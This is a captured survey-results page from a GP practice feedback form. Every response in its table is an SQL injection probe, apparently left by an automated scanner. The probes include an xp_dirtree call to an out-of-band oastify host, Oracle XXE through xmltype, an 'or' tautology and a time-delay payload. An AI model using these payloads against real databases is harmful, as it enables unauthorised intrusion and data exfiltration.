Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’;declare @q varchar(99);set @q=’3qugxmh9h76d4t2cn6wnohrdh4n8b11psgg835ru.oasti’+’fy.comefz’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 6:14 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %vpfgf;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 6:14 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %vpfgf;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 6:14 am |
Very good13175899′ or ‘5480’=’5480 | [10] | [11] | July 4, 2023 at 6:14 am |
Very good’)waitfor delay’0:0:20′– | [10] | [11] | July 4, 2023 at 6:14 am |
